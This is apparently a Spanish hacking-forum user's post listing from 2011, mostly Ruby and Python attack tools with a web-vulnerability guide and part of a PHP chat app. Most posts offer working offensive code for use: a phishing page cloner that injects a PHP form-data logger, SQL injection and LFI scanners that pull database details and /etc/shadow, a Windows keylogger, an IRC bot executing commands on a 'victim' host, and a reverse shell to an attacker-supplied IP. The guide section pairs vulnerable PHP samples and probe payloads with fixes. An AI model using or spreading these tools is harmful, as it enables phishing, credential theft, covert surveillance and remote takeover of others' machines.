Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#406
Scripting / [Python] Console By Doddy H
7 Octubre 2011, 01:32 AM
Bueno este es un simple ejecutor de comandos hecho en tk

Código (python) [Seleccionar]


#!usr/bin/python
#Console (C) Doddy Hackman 2011

from Tkinter import *
import subprocess

global x

def execa() :
 re = subprocess.Popen(cmd.get(),shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
 if re:
  panel.insert(END,re.stdout.read())
 else:
  panel.insert(END,re.stderr.read())
 

window = Tk()
window.title("Console (C) Doddy Hackman 2011")

window.maxsize(width="400",height="320")
window.minsize(width="400",height="320")

window.configure(background="black")
window.configure(cursor="tcross")

cmd = StringVar()
panel = Text(window,width=30,height=15,bg="black",fg="green")

Label(window,bg="black").grid(row=1)
Label(window,text="Command : ",bg="black",fg="green").grid(row=3,column=4)

entry = Entry(window,width=35,textvariable=cmd,bg="black",fg="green").grid(row=3,column=5)

Button(text="Cargar",bg="black",fg="green",activebackground="green",command=execa).grid(row=3,column=9)


Label(window,bg="black").grid(row=4)
panel.grid(row=10,column=5)


window.mainloop()
#407
Scripting / [Ruby] SQLI Scanner
7 Octubre 2011, 01:32 AM
Un scanner de SQLI en ruby

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#SQLI Scannerl (C) Doddy Hackman 2010
#contact me : doddy-hackman.blogspot.com

require 'net/http'


def uso
 print "\n[+] sqli.rb <site>\n"
end

def toma(host,path)
 http = Net::HTTP.new(host,80)
 return http.get(path).body
end

def details(web,more)
web1 = more.sub(/hackman/,"0x4b30425241")
more = more.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
print "\n\n[+] Extrating information of the DB\n\n"
url = URI.parse(web)
code = toma(url.host,url.path+"?"+url.query+more)
if code=~/K0BRA(.*?)K0BRA(.*?)K0BRA(.*?)K0BRA/
 print "[username] : "+$1+"\n"
 print "[database] : "+$2+"\n"
 print "[version] : "+$3+"\n\n"

test1 = toma(url.host,url.path+"?"+url.query+web1+"+from+information_schema.tables")
test2 = toma(url.host,url.path+"?"+url.query+web1+"+from+mysql.user")

if test1=~/K0BRA/
 print "[information_schema.tables] : ON\n"
end

if test2=~/K0BRA/
print "[mysql.user] : ON"
end


else
 print "\n[-] Not Found\n\n"
end
end


def scan(web)
print "\n[+] Testing the vulnerability SQLI...\n\n"
url = URI.parse(web)
codetest = toma(url.host,url.path+"?"+url.query+"-1+union+select+1")
if codetest=~/The used SELECT statements have a different number of columns/
 print "[+] SQLI Detected\n\n"
 else
 print "[-] Not Vulnerable to SQLI\n\n"
 copyright()
end

z = "1"
x = "concat(0x4b30425241,1,0x4b30425241)"
for num in ('2'..'25')
z = z+","+num
x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
#print url.host,url.path+"?"+url.query+"-1+union+select+"+x+"\n"
code = toma(url.host,url.path+"?"+url.query+"-1+union+select+"+x)
if code=~/K0BRA(.*?)K0BRA/
print "[+] The Page has "+num+" columns\n"
print "[+] The number "+$1+" print data\n\n"
z = z.sub($1,"hackman")
print "[SQLI] : "+web+"-1+union+select+"+z
details(web,"-1+union+select+"+z)
copyright()
end
end
print "\n\n[-] Not Found the numbers of the columns\n\n"
copyright()
end

def head()
 print "\n\n -- == SQLI Scanner == --\n\n"
end

def copyright()
  print "\n\n\n(C) Doddy Hackman 2010\n\n"
  exit(1)
end

head()
if !ARGV[0]
 uso()
else
 scan(ARGV[0])
 copyright()  
end
copyright()

#408
Scripting / [Ruby] Phishing Gen
7 Octubre 2011, 01:31 AM
Un generador de fakes

Código (ruby) [Seleccionar]
#!usr/bin/ruby
#PHishing Gen (C) Doddy Hackman 2010
#contact me : doddy-hackman.blogspot.com

require 'net/http'

def uso
 print "\n[+] fake.rb <site> <result>\n"
end

def toma(web)
  return Net::HTTP.get(web)
  end

def savefile(filename,text)
files = File.open(filename,'a')
files.puts text
end

def gen(web,file,magic)
 print "\n\n[+] Getting the source...\n"
 begin
 code = toma(URI.parse(web))
 savefile(file,code+"\n"+magic)
 print "[+] Finish"
 copyright()
 end
end

def head()
 print "\n\n -- == Phising Gen == --\n\n"
end

def copyright()
  print "\n\n\n(C) Doddy Hackman 2010\n\n"
  exit(1)
end

head()
if !ARGV[0] and !ARGV[1]
 uso()
else
 text ='<?php $file fopen("dump.txt""a");foreach($_POST as $uno => $dos) {fwrite($file$uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file$tres."=".$cuatro."\r\n");}fclose($file);?>'
 gen(ARGV[0],ARGV[1],text)  
end
copyright()
#409
Scripting / [Ruby] Panel Control
7 Octubre 2011, 01:31 AM
Un buscador de panel de administracion

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Panel cONTROL (C) Doddy Hackman 2010
#contact me : doddy-hackman.blogspot.com

panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']

require 'net/http'


def uso
 print "\n[+] panelcontol.rb <site>\n"
end

def toma(web)
  return Net::HTTP.get_response(web)
  end
 

def scan(web,panels)
 print "\n[+] Starting the scan...\n\n\n"
 panels.each do |panel|
 begin
 begin
 code = toma(URI.parse(web+"/"+panel))
 rescue
 copyright()
 end
 case code
 when Net::HTTPSuccess
 print "[Link] : "+web+"/"+panel+"\n"
end
end
end
end

def head()
 print "\n\n -- == Panel Control == --\n\n"
end

def copyright()
  print "\n\n\n(C) Doddy Hackman 2010\n\n"
  exit(1)
end

head()
if !ARGV[0]
 uso()
else
 scan(ARGV[0],panels)  
end
copyright()

#410
Scripting / [Ruby] LFI T00l
7 Octubre 2011, 01:30 AM
Un scanner de LFI


Código (ruby) [Seleccionar]
#!usr/bin/ruby
#LFI tool (C) Doddy Hackman 2010
#contact me : doddy-hackman.blogspot.com

require 'net/http'


def uso
 print "\n[+] lfi.rb <site>\n"
end

def toma(host,path)
 http = Net::HTTP.new(host,80)
 return http.get(path).body
end

def fuzz(web)
files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
files.each do |file|
begin
url = URI.parse(web)
code = toma(url.host,url.path+"?"+url.query+file)
if not code=~/No such file or directory in/
  print "[Link] : "+web+file+"\n"
end
end
end
end


def scan(web)
 print "\n[+] Testing the vulnerability LFI...\n\n"
 begin
 url = URI.parse(web)
 code = toma(url.host,url.path+"?"+url.query+"'")
 if code=~/No such file or directory in/
  saca = code.split("No such file or directory in <b>")
  saca = saca[1].split("<\/b> on line")
  print "[+] LFI Detected\n\n"
  print "[Full Path Discloure]: "+saca[0]+"\n"
  print "\n\n[+] Fuzzing Files\n\n"
  fuzz(web)
  print "\n[+] Finish\n"
 copyright()
 else
   print "[-] Not Vulnerable to LFI\n\n"
end
end
end

def head()
 print "\n\n -- == LFI tOOL == --\n\n"
end

def copyright()
  print "\n\n\n(C) Doddy Hackman 2010\n\n"
  exit(1)
end

head()
if !ARGV[0]
 uso()
else
 scan(ARGV[0])  
end
copyright()
#411
Scripting / [Ruby] Simple Keylogger
7 Octubre 2011, 01:30 AM
Un simple keylogger en Ruby


Código (ruby) [Seleccionar]
#!usr/bin/ruby
#Simple Keylogger in Ruby
#(C) Doddy Hackman 2011

require 'Win32API'

def savefile(filename,text)
files = File.open(filename,'a')
files.puts text+"\n"
end

def capturar

nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")

while 1

for num1 in (0x30..0x39) #numbers
if nave.call(num1) & 0x01 == 1
savefile("logs.txt",num1.chr())
end
end

for num2 in (0x41..0x5A) #letters
if nave.call(num2) & 0x01 == 1
savefile("logs.txt",num2.chr())
end
end
end
end

capturar() #Start the keylogger

# ¿ The End ?
#412
Scripting / [Ruby] IRC Bot
7 Octubre 2011, 01:30 AM
Hola a todos

Acabo de hacer un simple bot para IRC , el bot se
conecta en la maquina ejecutante (victima) con un nombre
marcado por ustedes , entonces con solo poner

cmdnow :TU COMANDO:

Recibiran en el mismo chat un mensaje con el resultado del comando puesto

El codigo es el siguiente


Código (ruby) [Seleccionar]
#!usr/bin/ruby
#IRC Bot (C) Doddy Hackman 2011

host = "localhost"
canal = "#locos"
botname = "aa"

def head()
print "\n\n == -- IRC BOT -- ==\n\n"
end

def uso()
print "\n[+] Sintax : #{$0} <host> <channel> <bot name>\n"
end

def copyright()
print "\n\n(C) Doddy Hackman 2011\n\n"
end

def load(host,canal,botname)
begin
irc = TCPSocket.open(host,6667)
rescue
print "\n\n[-] Error\n\n"
else
irc.print "NICK #{botname}\r\n"
irc.print "USER #{botname} 1 1 1 1\r\n"
irc.print "JOIN #{canal}\r\n"

print "\n\n[+] Online\n\n"

while 1

code = irc.recv(666)

if (code=~/PING (.*)/)
irc.print "PONG #{$1}\n"
end

#if code=~/:(.*)!(.*):(.*)/
#print "Un tal : #{$1}\n"
#print "Dijo : #{$3}\n"
#end

if code=~/cmdnow :(.*):/
re = IO.popen($1).read
re = re.gsub("\n","|")
irc.print "PRIVMSG #locos : ",re,"\r\n"
end
end
end
end

head()
load(host,canal,botname)
copyright()


# ¿ The End ?
#413
Scripting / [Ruby] BackShell
7 Octubre 2011, 01:29 AM
Un reverse shell en ruby

Código (ruby) [Seleccionar]
#!usr/bin/ruby
#Back Shell (C) Doddy HAckman 2010
#Creditos : protos por darle vida a un lenguaje casi olvidado  en este mundo

require 'socket'

ip = ARGV[0]
port = ARGV[1]

def uso
 print "\n[+] bind.rb <ip> <port>\n"
end

def  head
 print "\n\n-- == ReverseShell By Doddy H == --\n\n"
end

def copyright
 print "\n\n(C) Doddy Hackman 2010\n\n"
end


def infowin
 system("net user")
end

def openwin()
system("cmd.exe")
end  

def infolin
 system("uname -a")
end

def openlin()
system("export TERM=xterm;exec sh -i")
end  

def now(ip,port)
 print "\n\n-- == ReverseShell By Doddy H == --\n\n"
 print "\n[+] Ok , enter to the system\n\n"
begin
backdoor = TCPSocket.new(ip,port)
 $stdout.reopen(backdoor)
 $stdin.reopen(backdoor)
 rescue
 print "\n[-] Un puto error !!\n\n"
 exit(1)  
 end
 if RUBY_PLATFORM =~/win/
  infowin()
  openwin()
 else
  infolin()
  openlin()
end
end


if !ip and !port
uso()
else
 now(ip,port)
end

#The End ???
#414
Nivel Web / [Guia] Vulnerabilidades a nivel web
7 Octubre 2011, 01:28 AM
[Guia] Vulnerabilidades a nivel web

[Titulo] : Vulnerabilidades a nivel web
[Autor] : Doddy Hackman


[Temario]

--===================================--

0x01 : Introduccion
0x02 : SQLI
0x03 : Blind SQLI
0x04 : HTML Injection
0x05 : XSS
0x06 : RFI
0x07 : LFI
0x08 : Remote code Execution
0x09 : Full Path Discloure
0x10 : Full Source Discloure
0x11 : PHP Injections

--===================================--


0x01 : Introduccion


Hola a todos.

Eh empezado a hacer esta simple guia donde detallo de forma minima las vulnerabilidades mas comunes
a nivel web , en cada vulnerabilidad solo explicare como se produce y como arreglarlo , pero
no voy a ampliar demasiado en tecnias de cada una
Cualquier error en la guia deben decirmelo para aprender de mis errores


0x02 : SQLI

Las injecciones SQL son una de las vulnerabilidades mas usadas debido a que es una de las faciles de explotar cuando estas
son encontradas.
La injecciones SQL se producen cuando se incluye en una sentencia SQL una variable que no esta filtrada , entonces
mediante la variable mal filtrada vamos a poder codigo que nos puedan ayudar
a sacar columnas , extraer tablas y columnas , datos y todo eso.........

Un ejemplo de este tipo de vulnerabilidad


<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php 

$host 
'localhost';
$user 'root';
$datos 'users';

$conexion mysql_connect($host$user);
mysql_select_db($datos,$conexion); 



if (isset(
$_GET['id'])) {
$id $_GET['id'];
}

if(empty(
$id)){
$id "1";
}

$sql mysql_query("SELECT * FROM `hackers` WHERE id=".$id) or die (mysql_error());

$resultado mysql_fetch_row($sql); 

echo 
"<h3><b>id: </font>".$resultado[0]."<br>";
echo 
"user: </font>".$resultado[1]."<br>";
echo 
"pass: </font>".$resultado[2]."</b></h3><br>"

mysql_close($conexion); 

?>



Como ven , la funcion mysql_query() usa un sentencia que posee la variable $id , como la variable
$id no esta filtrada o protegida , se puede insertar codigo de la siguiente manera


http://127.0.0.1/sql.php?id= ¿AQUI?


A partir del id podemos poner el codigo para ver si es vulnerable o no porque id es la variable mal
filtrada

Para saber si es vulnerable podemos poner un ' en el contenido de id

Si el resultado de la pagina es algo como mysql error bla bla

Es porque es vulnerable

Una forma de protegerse de este ataque es verificar que $id sea un numero y no codigo raro para modificar
la sentencia SQL




if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}



Como vemos usamos is_numeric para la verificacion , pero usamos este para verificar que si $id no es un numero , este  nos avise y
nos diga no me jodas !!!

0x03 : Blind SQLI

Las Blind SQLI vienen de la misma vulnerabilidad que las SQLI , pero en este caso el admin
usa @ en las funciones para la conexion con la DB o error_reporting en 0 para que
no tire errores. Un grave error pues asi esta provocando las conocidas Blind SQLI

Un ejemplo de pagina vulnerable seria este


<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php 

$host 
'localhost';
$user 'root';
$datos 'hackman';

$conexion mysql_connect($host$user,"123");
mysql_select_db($datos,$conexion); 



if (isset(
$_GET['id'])) {
$id $_GET['id'];
}

if(empty(
$id)){
$id "1";
}

$sql = @mysql_query("SELECT * FROM `hackers` WHERE id=".$id);

$resultado = @mysql_fetch_row($sql); 

echo 
"<h3><b>id: </font>".$resultado[0]."<br>";
echo 
"user: </font>".$resultado[1]."<br>";
echo 
"pass: </font>".$resultado[2]."</b></h3><br>"

mysql_close($conexion); 

?>



como ven usamos @ para evitar errores las funciones mysql_query() y mysql_fetch_row()

Entonces para comprobar que si la pagina es vulnerable a Blind SQLI podemos poner asi en
la parte de id


http://127.0.0.1/sql.php?id=1+and+1=1



http://127.0.0.1/sql.php?id=1+and+1=0


Si en el primer link devuelve un resultado positivo y en el segundo negativo (no muestra nada)

Una forma de arreglar esta vulnerabilidad seria la  misma que la de SQLI




if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}




0x04 : HTML Injection


Las HTML Injection son conocidas como las vulnerabilidades mas idiotas y faciles de hacer , pero
, ¿los que dicen eso saben como se produce y como se arregla ? ,de ese estoy seguro que no .

Esta vulnerabilidad se produce normalmente en los libros de visitas cuando se deja un comentario y
se lo muestra en pantalla

Un ejemplo seria este




<?php 

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

"
;

if (isset(
$_POST['mensaje'])) {
echo 
$_POST['mensaje'];
}

?>




Si queremos probar si la pagina padece de esta vulnerabilidad solo tendriamos que poner algo de
codigo html

Si ponemos "<h1>hola</h1>" y se muestra como tal es porque es vulnerable

La forma de protegerse es facil solo filtras las variables para protegerse

Para hacer esto podemos usar htmlentities() o htmlspecialchars() , usen la que quieran pues las
dos protegen



<?php 

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

"
;

if (isset(
$_POST['mensaje'])) {

echo 
htmlentites($_POST['mensaje']);
}

?>




0x05 : XSS

Bueno , XSS es una vulnerabilidad conocida y util a la hora de robar cookies , la vulnerabilidad se
produce cuando se muestra una variable mal filtrada



<?php 

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

"
;

if (isset(
$_GET['msg'])) {

echo 
$_GET['msg'];
}

?>




Para ver si es vulnerable podemos ejecutar el siguiente link con el siguiente codigo


<script>alert("hola");</script>



http://127.0.0.1/xss.php?msg=<script>alert("hola");</script>


Como ven la variable msg es enviada por metodo GET  , la variable no es protegida y es
mostrada tal cual

Una forma de reparar es usar como htmlentities() o htmlspecialchars()


<?php 

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

"
;

if (isset(
$_GET['msg'])) {

echo 
htmlspecialchars($_GET['msg']);
}

?>



0x06 : RFI

Bueno , el viejo RFI , esta vulnerablidad es muy conocida , se trata de un mal uso de la funcion
include() y una mala configuracion de la variable allow_url_include estando On en php.ini

Un ejemplo seria este



<?php 

if (isset($_GET['car'])) {
include(
$_GET['car']);
}

?>



Como ven , si queremos saber si la  pagina es vulnerable a RFI  podemos hacer asi


http://127.0.0.1/rfi.php?car=http://www.google.com.ar


Y si la pagina muestra la pagina de google es porque la pagina es vulnerable a RFI

Una forma de protegerse RFi seria usando un control en la variable "car" de la siguiente forma



if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}



0x07 : LFI

Bueno , el conocido LFI ,es parecido a RFI , pero este solo ejecuta archivos a nivel local y no remoto como RFI

Un ejemplo de pagina vulnerable seria asi


<?php 

if (isset($_GET['car'])) {
include(
$_GET['car']);
}

?>



Para saber si es vulnerable podemos cargar la variable car con un '  de la siguiente manera


http://127.0.0.1/lfi.php?car='


Y si nos devuelve algo asi


Warning: include(') [function.include]: failed to open stream: No such file or directory in C:\xampp\htdocs\666.php on line 4


Es porque es vulnerable xDDD

Para protegernos de esta vulnerabilidad seria de la misma forma que RFI




if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}



0x08 : Remote code Execution

Esta vulnerabilidad no es muy conocida , se trata de poder ejecutar comandos en la maquina atacada
sin necesidad de crear una shell.

Entonces un ejemplo de pagina vulnerable seria esta.


<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

"
;

if (isset(
$_POST['cmd'])) {
system("ping ".$_POST['cmd']);
}



?>



Como ven la pagina hace un comando ping con system() a la ip marcada por ustedes

Entonces que pasa si ponemos una ip cualquiera

Pues nada solo hace un ping a la ip que pusieron

Entonces si ponemos esto


ip && ver


El servidor nos devolveria el resultado de el comando ping con un extra xDDD
Pues si estamos viendo la version del SO
Entonces la explicacion es simple solo ponemos && para agregar un comando siempre cuando la ip
que pusieron anteriormente era  real y el ping se mostro correctamente

Entonces si queremos arreglar esta vulnerabilidad tenemos que reemplazar toda cosa rara en la variable
de "cmd"

Quedando el codigo de la siguiente manera


<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

"
;

if (isset(
$_POST['cmd'])) {

$cmd $_POST['cmd'];

$cmd str_replace("&&"""$cmd);
$cmd str_replace(";"""$cmd);
$cmd str_replace("-"""$cmd);
$cmd str_replace("?"""$cmd);
$cmd str_replace("||"""$cmd);
$cmd str_replace("|"""$cmd);
$cmd stripslashes($cmd);

system("ping ".$cmd);

}



?>



0x09 : Full Path Discloure

Esta vulnerabilidad se produce cuando se produce un error , tanto como un error en el resultado de la funcion que estamos
usando como la sintasis usada en la misma

Un ejemplo seria este


<?php
if (isset("no se nada de php")) {

}
?>



Que feo programo xDDD

Entonces el error que nos devuelve seria este


Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\666.php on line 2


Como vemos nos devuelve el directorio actual donde se ejecuta el archivo php , esto es lo que se llama
full path discloure

Esta vulnerabilidad tambien aparece en SQL y LFI , cuando poniamos la comilla ' el resultado de include() y mysql_query()
En el caso del segundo era una full path discloure ademas de estar indicando que la pagina realmente era vulnerable a SQL
En el caso del primero tambien se debia al mal uso de la funcion include() devolviendonos un error con un full path
discloure

0x10 : Full Source Discloure

Bueno , esta vulnerabilidad nos permite descargar archivos de un servidor web debido a que no
filtra las variables

Un ejemplo seria este



if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['down']));
readfile($_GET['down']);
}


Entonces si ponemos la ruta que queremos en la variable "down" estamos hecho.
Un ejemplo de uso seria este


http://127.0.0.1/down.php?down=c:/secretos.txt


Y con eso descargariamos el archivo secreto si es que existe xDDD

Entonces una forma de evitar esta vulnerabilidad seria usando una DB , que contenga una tabla
con los links de descarga , entonces una vez que se detecte la variable down se verificaria que fuera
un numero de lo contrario chau xDDD

0x11 : PHP Injections

Bueno , la php injections suelen suceder cuando usa la funcion eval().
La funcion eval() nos permite ejecutar codigo php

Un ejemplo de esta vulnerabildad seria este


<?php

if (isset($_GET['te'])) {
eval(
$_GET['te']);
}

?>



Como ven , es un caso muy raro y especial en cierto sentido xDDD

Entonces si ejecutamos este link


http://127.0.0.1/php?te=echo "hola mundo";


Si vemos en la pantalla , este link nos devuelve hola mundo , creo que es obvio que es vulnerable

Una forma de protegerse seria no usar eval()

--========--
¿ The End ?
--========--
#415
PHP / [PHP] Simple Chat By Doddy H
7 Octubre 2011, 01:26 AM
Como dice el titulo , es un simple chat que se divide en 3 partes

install.php


<?php

//Datos para la DB

$host "localhost";
$user "root";
$pass "";
$db "chat";

echo 
"
<title>Instalacion de mini chat</title>
<br><br><b>Seguro que desea instalar mini chat</b><br><br>
<form action='' method=POST>
<input type=submit name=instalar value=Instalar>
</form>
<br><br>"
;


if (isset(
$_POST['instalar'])) {

if (
mysql_connect($host,$user,$pass)) {

$todo2 "create table $db.mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
"
;


if (@
mysql_query($todo1)) {
echo 
"1";
if (@
mysql_query($todo2)) {
echo 
"chat instalado<br>";
}
} else {
echo 
"error en la instalacion<br>";
}
} else {
echo 
"error en la conexion con la db<br>";
}


?>



admin.php


<?php

$host 
"localhost";
$user "root";
$pass "";

$usera "test";
$passa "test";

if (isset(
$_GET['user'])) {

if (
$_GET['user'] == $usera) {
if (
$_GET['pass'] == $passa) {

@
mysql_connect($host,$user,$pass);

$re = @mysql_query("select * from chat.mensajes");

if (
is_numeric($_GET['id'])) {
if (@
mysql_query("delete from chat.mensajes where id_comentario='".$_GET['id']."'")) {
echo 
"<script>alert('Comentario borrado');</script>";
}
}


while (
$ver = @mysql_fetch_array($re)) {
echo 
"<a href=?user=".$usera."&pass=".$passa."&id=".$ver[0].">Borrar comentario ".$ver[0]."</a><br>";
}

}
}


}

?>



index.php


<?php

$db 
"chat"//
$host "localhost";
$user "root";
$pass "";

echo 
"
<style>

.main {
word-wrap: break-word;
word-break:break-all; 
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00; 
}

td,body {
background-color:black;color:#00FF00; 
}


input,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00; 
border: solid 1px #00FF00;
border-color:#00FF00
}

</style>"
;

mysql_connect($host,$user,$pass);
